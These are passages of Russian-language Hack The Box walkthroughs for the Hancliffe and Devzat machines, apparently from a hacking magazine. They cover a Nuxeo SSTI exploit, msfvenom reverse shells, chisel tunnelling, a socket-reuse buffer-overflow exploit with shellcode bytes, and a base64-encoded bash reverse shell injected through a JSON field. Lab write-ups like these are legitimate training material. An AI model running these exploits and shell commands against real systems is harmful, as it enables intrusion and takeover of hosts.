Стра ница /Maintenance/

Та кой стра ницы не сущес тву ет, поэто му про дол жим искать катало ги и фай лы
в ./maintenance/

ffuf  256 -u http://hancliffe.htb/maintenance/FUZZ -t -w files_
interesting.txt 

Ре зуль тат ска ниро вания фай лов с помощью ffuf

Ви дим мно го пос ледова тель нос тей, на которые сер вер стран но реаги рует,
а так же файл .index.jsp

Стра ница /Maintenance/index.jsp

ÒÎ×ÊÀ ÂÕÎÄÀ

Тут я решил про верить раз ные вари анты обхо да про вер ки дос тупа к катало гу.
Для перебо ра пос ледова тель нос тей исполь зовал . В резуль тате

уда лось получить три воз можных вари анта отве та от сер вера.

Burp Pro

1. Дос туп к стра нице Apache Tomcat.

Отоб ражение стра ницы в Burp Render

2. От вет, сооб щающий, что стра ницы не сущес тву ет.

Отоб ражение стра ницы в Burp Render

3. Пе реад ресация на дру гой адрес при помощи HTTP-заголов ка .Location

Отоб ражение стра ницы в Burp Render

Пос ледний вари ант меня заин тересо вал. Я поп робовал еще раз переб рать
фай лы, но с пос ледова тель ностью  для обхо да кон тро ля дос тупа./..;/

ffuf    256 -u 'http://hancliffe.htb/maintenance/..;/FUZZ' -t -w files_
interesting.txt 

Ре зуль тат перебо ра катало гов

Из получен ного спис ка наиболь ший инте рес вызыва ет стра ница .login.jsp

Стра ница /maintenance/..;/login.jsp

ÒÎ×ÊÀ ÎÏÎÐÛ

В самом низу стра ницы видим упо мина ние исполь зуемой тех нологии —
nuxeo 10.2. Это зна чит, что мож но поис кать готовые экс пло иты. Есть спе- 
циали зиро ван ные базы дан ных вро де Exploit-DB, но куда боль ше резуль татов
даст Google.

По иск «nuxeo 10.2 exploit»

На ходим ссыл ку на  с PoC для уяз вимос ти CVE-2019-16341.
Это баг типа SSTI — вклю чение шаб лонов на сто роне сер вера. Потен циаль но
он может дать нам воз можность выпол нять про изволь ный код на сер вере.
Но сна чала нем ного под пра вим PoC под наши усло вия. Нач нем с исполь- 
зуемой на сер вере опе раци онной сис темы (стро ки 16 и 17).

ре пози торий

Ис прав ленный код экс пло ита

Ука зыва ем нуж ный URL (стро ки 38 и 123).

Ис прав ленный код экс пло ита

Ис прав ленный код экс пло ита

Вро де бы все готово, запус тим скрипт и зап росим текуще го поль зовате ля.

Экс плу ата ция уяз вимос ти

Код успешно выпол нен, и мы получа ем нор маль ный реверс-шелл. Мож но
вос поль зовать ся удоб ным . Выс тавля ем
свой локаль ный адрес и порт, в ответ получа ем коман ду для запус ка лис- 
тенера и бэк конек та.

он лай новым генера тором шел лов

Он лайн-генера тор шелл-кода

Вы пол няем код через экс пло ит и получа ем обратное под клю чение.

Вы пол нение кода на PowerShell

По луче ние бэк коннек та

ÏÐÎÄÂÈÆÅÍÈÅ

При прод вижении нам нуж но пер вым делом про верить локаль ные сер висы,
в пер вую оче редь — запущен ные. Если это ни к чему не ведет, то искать учет- 
ные дан ные.

netstat /an

Прос лушива емые пор ты

ps

Спи сок про цес сов

Сре ди запущен ных про цес сов находим , а так же, кро ме

запущен ной служ бы WinRM, в спис ке пор тов находим 9512. Такой порт откры- 
вает прог рамма Unied Remote 3. Под твержде ние находим, покопав шись
в катало гах при ложе ний.

RemoteServerWin

Ка тало ги при ложе ний

Unied Remote поз воля ет исполь зовать смар тфон для управле ния компь юте- 
ром: от эму ляции кла виату ры и мыши до управле ния фай лами на жес тком
дис ке. Сно ва поищем готовые экс пло иты.

На этот раз резуль таты наш лись в , по которой я ищу ути литой
 из Kali Linux.

Exploit-DB
searchsploit

По иск экс пло итов с помощью searchsploit

Пос ледний экс пло ит в спис ке может дать нам уда лен ное выпол нение кода.
При запус ке кода нуж но будет ука зать адрес сер вера, а так же файл
для запус ка и адрес нашего веб-сер вера, отку да файл будет ска чан.

Часть кода экс пло ита

С помощью  мы можем сге нери ровать файл, запуск которо го при- 

ведет к бэк коннек ту на наш хост.

msfvenom

5432  exe 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.116 LPORT=

-f -o rs.exe 

Ге нери рова ние фай ла с наг рузкой

Так как порт служ бы открыт толь ко для локаль ного хос та, нам нуж но прок- 
сировать тра фик. Для это го мож но исполь зовать удоб ную тул зу .

На локаль ном хос те запус тим сер верную часть ( ), где будем ожи дать
под клю чения ( ) на порт 9876 ( ).

chisel

server
--reverse -p

 ./chisel_1.7.7_linux_amd64 server -p 9876 --socks5 --reverse

За пуск сер верной час ти

А на уда лен ном хос те акти виру ем кли ент скую часть, где будем прок сировать
весь тра фик с пор та 9512 локаль ного хос та на порт 9512 уда лен ного.

.\chisel.exe client 10.10.14.116:9876 R:9512:127.0.0.1:9512

Пос ле успешно го под клю чения в логах сер вера уви дим соот ветс тву ющее
сооб щение.

Ло ги сер верной час ти

Те перь запус каем лис тенер  и веб-сер вер на Python 3, где раз местим

файл с реверс-шел лом. Затем выпол няем экс пло ит.

netcat

python2 49587.py 127.0.0.1 10.10.14.116 rs.exe 

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/mpgn/CVE-2018-16341
https://www.revshells.com/
https://www.exploit-db.com/
https://github.com/jpillora/chisel
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Вы пол нение экс пло ита

В окне лис тенера получа ем бэк коннект с сес сией поль зовате ля.

Флаг поль зовате ля

Ñìåíà êîíòåêñòà

Те перь, ког да мы получи ли кон текст поль зовате ля, нам необ ходимо соб рать
информа цию. Для это го будем исполь зовать набор скрип тов PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим исполня емый файл на сер вер и выпол ним. При прос мотре вывода
оста новим ся на информа ции из бра узе ров. Там име ются сох ранен ные учет- 
ные дан ные, при чем для сер виса на пор те 8000.

Ин форма ция из бра узе ров

Упо мяну тый сер вис слу жит для хра нения паролей. Ука зыва ем получен ные
дан ные для поль зовате ля developer и получа ем пароль.

По луче ние пароля поль зовате ля developer

Этот поль зователь сос тоит в груп пе .Remote Management Users

net users developer 

Ин форма ция о поль зовате ле developer

Поп робу ем под клю чить ся с получен ным паролем к служ бе WinRM, но перед
этим про кинем порт для служ бы с помощью chisel.

.\chisel.exe client 10.10.14.116:9876 R:5985:127.0.0.1:5985

 evil-winrm -i 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'

Флаг поль зовате ля

Так мы еще раз меня ем поль зователь ский кон текст.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Reverse Engineering

У нашего нового поль зовате ля есть пра во дос тупа к катало гу , где

лежит исполня емый файл и скрипт для его запус ка. Файл ска чива ем для ана- 
лиза.

DevApp

Со дер жимое катало га C:\DevApp

Со дер жимое фай ла restart.ps1

От кры ваем прог рамму в IDA Pro и деком пилиру ем. При стар те прог раммы
откры вает ся порт (на сер вере 9999) и прос лушива ется вхо дящее соеди- 
нение.

Де ком пилиро вание фун кции main

Как толь ко кли ент ини циирует соеди нение, сер вер запус кает новый поток
(фун кция ).cHandler

Де ком пилиро вание фун кции main (про дол жение)

В этой фун кции про исхо дит зап рос логина и пароля, пос ле чего они переда- 
ются в фун кцию .login

Де ком пилиро вание фун кции cHandler

Пе рей дя к ана лизу этой фун кции, обна ружим пред положи тель но логин
и пароль. Вве ден ный поль зовате лем пароль сна чала переда ется для пре- 
обра зова ния в фун кцию , затем в  и потом кодиру ется

в Base64 в фун кции . Пос ле пре обра зова ния учет ные дан ные

срав нива ются с эта лон ными зна чени ями.

encrypt1 encrypt2
b64_encode

Де ком пилиро вание фун кции login

В фун кци ях  и  кодиро вание выпол няет ся посим воль но

прос тым пре обра зова нием.

encrypt1 encrypt2

Де ком пилиро вание фун кции encrypt1

Де ком пилиро вание фун кции encrypt2

Ес ли про вер ка учет ных дан ных прош ла успешно, зап рашива ется пол ное имя
поль зовате ля и какой-то код. Эти дан ные переда ются в фун кцию .SaveCreds

Де ком пилиро вание фун кции cHandler (про дол жение)

А в  я сра зу при метил небезо пас ную фун кцию .SaveCreds strcpy

Де ком пилиро вание фун кции SaveCreds

В фун кцию переда ется буфер  раз мером 80 байт (0x50) и копиру ется

в буфер  раз мером 50 байт. Это перепол нение буфера!

a1
v3

Buffer overflow

Что бы мы мог ли манипу лиро вать буфером, нам нуж но до него доб рать ся. Мы
зна ем все тре буемые парамет ры, кро ме пароля. Так как сим волы изме няют ся
незави симо друг от дру га, мож но лег ко вос ста новить алго ритм кодиро вания
и подоб рать такую пос ледова тель ность сим волов, которая пос ле изме нения
будет сов падать с эта лон ной. Пер вым делом декоди руем стро ку Base64.

Де коди рова ние Base64

А теперь реали зуем алго ритм обе их фун кций кодиро вания и добавим
перебор пароля.

 def encrypt1(a1):
   ret = ""
    for c in a1:
         if((ord(c) > 32) and (ord(c) != 127)):

       if(ord(c)+47 <= 126):
           ret += chr(ord(c) + 47)

     else:
           ret += chr(ord(c) - 47)

   else:
       ret += c

  return ret

 def encrypt2(a1):
   ret = ""
    for c in a1:
     c = ord(c)
           if((c > 0x40) and ((c<=0x5a) or (c>0x60)) and (c<=0x7a)):

       flag = 0
       if(c <= 0x5a):

         c += 32
         flag = 1

           r = 122 - (c - 97)
     if(flag):

         r -= 32
         ret += chr(r)

   else:
       ret += chr(c)

  return ret

  enc_pass = "ayXx;ll?|x;lZk9K%"
  dec_pass = ""

   for c in enc_pass:
    for n in string.printable:
     if(c == encrypt2(encrypt1(n))[0]):

       dec_pass += n
     break

Па роль для дос тупа

Про вер ка получен ного пароля

Мы получа ем пароль, с которым уда ется прой ти авто риза цию. Теперь
напишем ске лет нашего экс пло ита. Он будет авто мати зиро вать авто риза цию
(при каж дом запус ке сер верной час ти порт при дет ся менять). При этом сра зу
ука зыва ем в качес тве тре буемо го кода стро ку боль ше 50 байт, что бы опре- 
делить перепол нение буфера и сме щение, по которо му про изой дет переза- 
пись адре са воз вра та из фун кции в сте ке.

 import os
 import socket

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("127.0.0.1", 9259))

  buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 
CCCCDDDDEEEEFFFFGGGGHHHH"

s.recv(1024)
s.send(b"alfiansyah\n")
s.recv(1024)
s.send(b"K3r4j@@nM4j@pAh!T\n")
s.recv(1024)
s.send(b"Vickry Alfiansyah\n")
s.recv(1024)

s.send(buffer)

Внут ри фун кции  ста вим точ ку оста нова, запус каем прог рамму

в отладчи ке и выпол няем наш экс пло ит. При выходе из фун кции 
на вер шине сте ка рас положе но зна чение 0x46464646, что соот ветс тву ет сим- 
волам .

SaveCreds
SaveCreds

FFFF

От ладчик IDA Pro

Так мы узна ем сме щение, по которо му можем уста новить новый адрес воз- 
вра та и кон тро лиро вать выпол нение прог раммы, — 66. Вот толь ко записать
шелл-код и выпол нить его у нас не получит ся — меша ет слиш ком малый раз- 
мер буфера. Одна ко незак рытый сокет может помочь нам рас кру тить
это перепол нение буфера до записи и выпол нения целого шелл-кода!

Socket Reuse

Эта тех ника экс плу ата ции зак люча ется в том, что мы исполь зуем незак рытый
сокет, что бы получить шелл-код боль шего раз мера, чем име ющий ся буфер,
записать его в память прог раммы и выпол нить.

1. Stack control

Что бы получить кон троль над прог раммой, нуж но перенес ти ее выпол нение
на начало кон тро лиру емо го буфера. Для это го по сме щению 66 нуж но
записать адрес инс трук ции  (перенес ти выпол нение прог раммы

на адрес сте ка — сме щение 70, сле дующие 4 бай та пос ле адре са инс трук ции
). Так как ASLR (ран домиза ция раз мещения адресно го прос транс тва)

отклю чена, мы можем исполь зовать ста тичес кие адре са инс трук ций. В IDA
выбира ем Search → Sequence of bytes и ищем бай ты  (пред став ление

инс трук ции ).

jmp esp

jmp esp

FFE4
jmp esp

По иск пос ледова тель нос ти бай тов

Пе рехо дим к фун кции  и получа ем адрес нуж ной инс трук ции —

0x7190239f.

_jump1

Код фун кции _jump1

Пос ле каж дого такого прод вижения будем перепи сывать перемен ную 

в коде нашего экс пло ита.

buffer

  buffer = b"A"*66
     buffer += b"\x9F\x23\x90\x71" # jmp esp
  buffer += b"C"*12

За пус каем отладчик заново и выпол няем перепи сан ный экс пло ит. На выходе
из фун кции про веря ем, что адрес воз вра та на вер шине сте ка — это адрес
нуж ной нам инс трук ции.

Ди зас сем бли рован ный код фун кции SaveCreds

Де лаем шаг в отладчи ке. Мы на инс трук ции , а  ука зыва ет на сле- 

дующий адрес в сте ке (как упо мина лось, сме щение 70 нашего буфера).

jmp esp esp

От ладчик IDA Pro

2. Buffer control

Те перь нам нуж но перемес тить ся на начало нашего буфера, что бы там
выпол нить основной код. Для это го нуж но интер пре тиро вать инс трук цию 

 и записать по текуще му адре су. Сде лать это лег ко, дос таточ но знать
адрес наз начения — начало буфера.

jmp 
short

Пред став ление сте ка в IDA Pro

Продолжение статьи →

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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Так, наш буфер начина ется по адре су 0x00dffed2. На мес те текущей инс трук- 
ции в IDA выбира ем Edit → Patch program → Assemble, записы ваем инс трук цию

, и IDA сама интер пре тиру ет эту инс трук цию — 

(для удобс тва акти виру ем отоб ражение интер пре тации в нас трой ках Options
→ General).

jmp short 00DFFED2h EB B8

Нас трой ки IDA Pro

Сно ва вно сим прав ки в экс пло ит и переза пус каем.

  buffer = b"A"*66
     buffer += b"\x9F\x23\x90\x71" # jmp esp
  buffer += b"\xEB\xB8"           # jmp buffer
    buffer += b"CCCCCCCCCC" * 10

Инс трук ция переме щения интер пре тиро вана. Дела ем еще шаг и попада ем
на начало буфера.

От ладчик IDA Pro

От ладчик IDA Pro

3. Socket hunting

Нас тало вре мя перей ти к самой тех нике экс плу ата ции! Глав ная идея — выз- 
вать фун кцию  с тем же сокетом, который исполь зовал ся рань ше.

Это единс твен ный из четырех аргу мен тов, который нам нуж но най ти в памяти
прог раммы. Для это го пос тавим точ ку оста нова на опе рации, сле дующей
за пос ледним вызовом фун кции , запус тим отладку и пос ле сра баты- 

вания BP клик нем дваж ды по парамет ру .

recv

recv
s

По луче ние адре са сокета

Мы находим адрес сокета — 0x00FEFF60. Напишем малень кую встав ку,
которая поможет получить и сох ранить этот адрес в регис тре .eax

Сна чала нуж но помес тить  в стек и записать обратно в регистр .

Это даст нам ука затель на вер шину сте ка, которым мы можем безопас но
манипу лиро вать. Пос ле чего мы можем вычис лить сме щение сокета отно- 
ситель но вер шины сте ка как раз ницу меж ду адре сом сокета и зна чени ем
регис тра : .

$esp eax

esp 0x00FEFF60 – 0x00FEFF18 = 0x48

Зна чения в сте ке и регис трах

Те перь исполь зуем пат чер в IDA Pro и забива ем ого ворен ный код.

 push esp
 pop eax
  add eax, 48h

Вы пол нив все эти опе рации, мы смо жем про верить зна чение регис тра .
Он содер жит адрес сокета.

eax

Код socket stager

4. Socket stager

Те перь оста лось написать код, который вызовет фун кцию  и передаст ей

необ ходимые парамет ры. Но перед тем, как начать записы вать аргу мен ты
в стек, нуж но изме нить ука затель сте ка. Это необ ходимо, пос коль ку он
находит ся слиш ком близ ко к выпол няемо му в дан ный момент коду и мы рис- 
куем затереть код. Поэто му прос то умень шим ука затель сте ка бай тов на 100
(0x64). Это го более чем дос таточ но для решения проб лемы.

recv

  sub esp, 64h

Те перь мы можем записы вать аргу мен ты в стек от пос ледне го к пер вому. Так,
пос ледний аргу мент — это флаг, и он дол жен быть равен нулю. Мы дол жны
избе гать сим вола ноль при перепол нении буфера, ина че он будет интер пре- 
тиро ван как сим вол завер шения стро ки. Поэто му прос то ксо рим регистр 
и помеща ем в стек.

ebx

  xor ebx, ebx
 push ebx

Код socket stager

Сле дующий аргу мент — это раз мер буфера. Для всех стан дар тных наг- 
рузок 1024 бай та (0x400) дол жно хва тить. Регистр  уже содер жит 0, поэто- 

му добавим в  4. Таким обра зом, зна чение регис тра  ста нет рав- 

но 0x400. Затем закинем его в стек.

ebx
bh ebx

  add bh, 4
 push ebx

Код socket stager

Те перь раз берем ся с адре сом, куда мы сох раним получен ный фун кци ей 

основной шелл-код. Осо бо задумы вать ся не будем и прос то запишем эти
дан ные пос ле нашего сокет-стей дже ра. Тог да, если мы запол ним неис поль- 
зуемые дан ные в стей дже ре инс трук цией  (байт 0x90), шелл-код выпол- 

нится сра зу пос ле него.

recv

NOP

Оп ределим рас сто яние до кон ца стей дже ра (для запаса — 4 бай та с кон- 
ца). Это будет раз ница меж ду адре сом чет верто го с кон ца стей дже ра бай та
и зна чени ем регис тра : . Таким обра- 

зом, нам нуж но добавить в стек зна чение на 0x64 бай та боль ше зна чения
регис тра . Как и делали рань ше, добав ляем зна чение регис тра  в стек

и извле каем его в регистр . Затем уве личи ваем регистр  на 0x64 бай та

и добав ляем в стек. Так мы переда ем нашей фун кции еще один аргу мент.

esp 0x00FEFF10 – 0x00FEFEAC = 0x64

esp esp
ebx ebx

 push esp
 pop ebx
  add ebx, 64h
 push ebx

Код socket stager

Ну и пос ледний аргу мент — тот самый сокет, адрес которо го уже сох ранен
в регис тре .eax

   push dword ptr [eax]

Ос талось выз вать фун кцию . Мож но прос то най ти вызов этой фун кции
и ско пиро вать инс трук ции. Для это го в спис ке импорта най дем эту фун кцию
и перей дем к ее опре деле нию. Далее нажима ем X, что бы най ти все ссыл ки
на эту фун кцию.

recv

Оп ределе ние фун кции recv

Вы зов фун кции recv

Нас инте ресу ют сле дующие инс трук ции:

  mov eax, ds:__imp__recv@16
 call eax

Код socket stager

Стей джер соб ран, перепи шем эти инс трук ции в экс пло ит, а вмес то отправ- 
ляемых бай тов  будем отправ лять инс трук цию . Так же добавим задер жку
перед отправ кой основной наг рузки (тес товая стро ка).

A nop

 import os
 import sys
 import socket
 import time

  buffer = b"\x54"                    # push esp
  buffer += b"\x58"                   # pop eax
  buffer += b"\x83\xC0\x48"           # add eax, 48h
  buffer += b"\x83\xEC\x64"           # sub esp, 64h
  buffer += b"\x31\xDB"               # xor ebx, ebx
  buffer += b"\x53"                   # push ebx
  buffer += b"\x80\xc7\x04"           # add bh, 4
  buffer += b"\x53"                   # push ebx
  buffer += b"\x54"                   # push esp
  buffer += b"\x5B"                   # pop ebx
  buffer += b"\x83\xC3\x64"           # add ebx, 64h
  buffer += b"\x53"                   # push ebx
  buffer += b"\xFF\x30"               # push dword ptr [eax]
     buffer += b"\xA1\xAC\x82\x90\x71" # mov eax, ds:__imp__recv@16
  buffer += b"\xFF\xD0"               # cal eax

  buffer += b"\x90"*36

       buffer += b"\x9F\x23\x90\x71" # jmp esp
  buffer += b"\xEB\xB8"             # jmp buffer

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("127.0.0.1", 9944))

s.recv(1024)
s.send(b"alfiansyah\n")
s.recv(1024)
s.send(b"K3r4j@@nM4j@pAh!T\n")
s.recv(1024)
s.send(b"Vickry Alfiansyah\n")
s.recv(1024)
s.send(buffer)

time.sleep(20)

  payload = b"AAAABBBBCCCCDDDDEEEEFFFF"
s.send(payload)

Ос тановим отладку пос ле работы нашего стей дже ра, дож демся отправ ки
и раз мещения наг рузки. Пос ле NOP-цепоч ки уви дим стро ку наг рузки.

Код socket stager

Пос ледний шаг — генери рова ние наг рузки.

1234 msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT= -f 
python -v payload 

Ге нери рова ние наг рузки

Те перь встав ляем получен ный код в экс пло ит, меня ем адрес сер вера и порт.
Запус каем лис тенер, который будет прос лушивать ука зан ный в наг рузке порт,
а затем запус каем экс пло ит. И получа ем бэк коннект от име ни адми нис тра- 
тора.

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

В этой статье я покажу, как искать скры тые
катало ги и домены на сай тах, затем мы
про экс плу ати руем инъ екцию команд, что бы
получить дос туп к хос ту, ата куем InuxDB
при помощи готово го экс пло ита, а потом
раз берем ся, как зас тавить кон соль ное при- 
ложе ние выдать нам кри тичес ки важ ную
инфу.

Все перечис ленное мы будем про делы вать на машине Devzat с пло щад ки
. Уро вень ее слож ности ука зан как сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.118    devzat.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
8000 — опре деля ется как SSH.•

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — переби рать пароли брут форсом, но машины с HTB
поч ти всег да мож но прой ти дру гим спо собом. В жиз ни таких вари антов может
не быть, к тому же есть шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

Пос коль ку на SSH нам делать нечего, будем изу чать дос тупный веб-сайт.

Глав ная стра ница сай та

На глав ной стра нице встре чаем опи сание мес сен дже ра Devzat, а прой дя чуть
ниже — и опи сание спо соба под клю чения.

Инс трук ция, как под клю чить ся к мес сен дже ру

ssh -l ralf devzat.htb -p 8000 

Спи сок дос тупных команд

Ни получе ние спис ка поль зовате лей, ни какие-либо сооб щения ничего нам
не дают. Поэто му перей дем к активно му ска ниро ванию веба.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Ко ман да получа ется сле дующая:

ffuf    256 -u 'http://devzat.htb/FUZZ' -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

И ничего инте рес ного.

ÒÎ×ÊÀ ÂÕÎÄÀ

По мимо скры тых катало гов, нуж но прос каниро вать и вир туаль ные хос ты (под- 
домены). Исполь зуем тот же . Для это го мы будем переби рать HTTP-

заголо вок  (параметр ). Пос коль ку ответ на все зап росы будет вклю- 

чать десять строк, отфиль тру ем их из резуль тата (параметр )

ffuf
Host -H

-fl

ffuf    256   
 10 

-u 'http://devzat.htb' -t -H 'Host: FUZZ.devzat.htb' -w 
subdomains-top1million-110000.txt -fl

Ре зуль тат ска ниро вания под доменов с помощью ffuf

И находим новый под домен. Добавим его в файл ./etc/hosts

10.10.11.118    devzat.htb pets.devzat.htb 

Глав ная стра ница сай та pets.devzat.htb

На стра нице есть кое-какие зап росы сер верных фун кций, но все рав но сто ит
прос каниро вать скры тые фай лы и катало ги. При воз никно вении ошиб- 
ки 404 каж дый раз будет воз вра щать ся кас томная стра ница, поэто му исклю- 
чим эти отве ты из конеч ного резуль тата. Будем филь тро вать по объ ему стра- 
ницы (параметр ).-fs

ffuf    256 
 510 

-u 'http://pets.devzat.htb/FUZZ' -t -w files_interesting.
txt -fs

Ре зуль тат ска ниро вания катало гов с помощью ffuf

И находим каталог . Он дол жен открыть нам исходные коды. Что бы заг- 
рузить его, исполь зуем ути литу  из набора .

.git
Rip-Git dvcs-ripper

 rip-git.pl -v -u http://pets.devzat.htb/.git/ 

Заг рузка дан ных из репози тория Git

От крыв глав ный файл , сра зу находим уяз вимую фун кцию

 (стро ка 40).

main.go
loadCharacter

Ис ходный код фун кции

В этой фун кции поль зователь ский ввод без допол нитель ной филь тра ции под- 
став ляет ся в качес тве аргу мен та коман дной стро ки, а это — уяз вимость OS
Command Injection.

ÒÎ×ÊÀ ÎÏÎÐÛ

От пра вим зап рос на добав ление записи на сай те и перех ватим его
с помощью Burp.

Зап рос на добав ление записи

Сре ди отправ ленных парамет ров находим зна комый — . Имен но он
и под став лялся к выпол няемой коман де в фун кции . Поп робу- 

ем про верить наличие уяз вимос ти, завер шив основную коман ду сим волом ,

а затем ука жем дру гую коман ду, к при меру пинг сво его хос та.

species
loadCharacter

;

{
   "name":"test3",
   "species":"cat;ping -c 2 10.10.14.41"
}

Из менен ный зап рос

На локаль ном хос те акти виру ем  и про верим, при шел ли зап рос.tcpdump

sudo tcpdump -i tun0 icmp 

Ло ги tcpdump

Ко ман да успешно выпол нена, а это зна чит, что мож но кидать реверс-шелл.
Есть очень удоб ный онлайн-генера тор шел лов — .
Нуж но ука зать лишь локаль ный адрес, порт и тип реверс-шел ла, а он вер нет
нам две коман ды: для запус ка лис тенера и для соз дания обратно го под клю- 
чения. Вдо бавок есть раз ные вари анты кодиро вания шел ла.

Reverse Shell Generator

Ге нери рова ние шел ла bash

За пус каем лис тенер и отправ ляем коман ду для соз дания реверс-шел ла. Я
обер нул его в Base64, что бы избе жать исполь зования сим волов, которые
веб-сер вер может трак товать по-раз ному.

{
   "name":"test3",
   "species":"cat;echo -n 
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MS80MzIxIDA+JjE=|base64 
-d |bash"
}

Зап рос для соз дания реверс-шел ла

Бэк коннект от сер вера

Мы получа ем дос туп к хос ту с минималь ными при виле гиями.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/kost/dvcs-ripper
https://www.revshells.com/
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ÏÐÎÄÂÈÆÅÍÈÅ

Что бы нащупать воз можнос ти для повыше ния при виле гий, будем исполь- 
зовать скрип ты PEASS.

Справка: скрипты PEASS для Linux (загрузка через Python и

Wget)
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь надо заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью Python прос той веб-сер вер. Пос- 
ле выпол нения этой коман ды веб-сер вер будет прос лушивать порт 8000.

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт

с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать фай лу
пра во на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

Вы вод огромный, но для себя отме тим два важ ных раз дела: спи сок про цес- 
сов и спи сок прос лушива емых пор тов.

Спи сок про цес сов

Спи сок откры тых пор тов

Уз наем, что тра фик прок сиру ется через порт 8086, сто ит прос мотреть, что
там. Для прок сирова ния будем исполь зовать инс тру мент . Запус каем
у себя на локаль ном хос те сер вер, ожи дающий под клю чения к пор ту 5432.

chisel

 ./chisel  server -p 5432 --socks5 --reverse

Лог сер вера

Как опи сано в справ ке выше, заг ружа ем на хост вер сию chisel для Linux и под-
клю чаем ся, тран сли руя весь тра фик с пор та 8086 локаль ного хос та на тот же
порт уда лен ного. В логах сер вера уви дим сооб щение об успешном под клю- 
чении кли ента.

./chisel.bin client 10.10.14.41:5432 R:8086:127.0.0.1:8086 

Лог кли ента

Со обще ние об уста нов ленном соеди нении

Те перь у нас работа ет тун нель SOCKS5. Прос каниру ем най ден ный порт
с помощью :Nmap

nmap  -p8086 -A 127.0.0.1 

Ре зуль тат ска ниро вания пор та

Nmap вывел нам заголо вок, из которо го мы узна ем, что исполь зует ся InuxDB
вер сии 1.7.5. Зная точ ную вер сию про дук та, сто ит сра зу поис кать готовые
экс пло иты.

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты в Google, пос коль ку этот поис- 
ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско рят дело
спе циали зиро ван ные базы вро де  — там час то мож но обна ружить
под ходящие вари анты. Если ты работа ешь в спе циали зиро ван ной ОС вро де

, то эта база у тебя уже есть и для поис ка мож но исполь зовать ути- 
литу .

Exploit-DB

Kali Linux
searchsploit

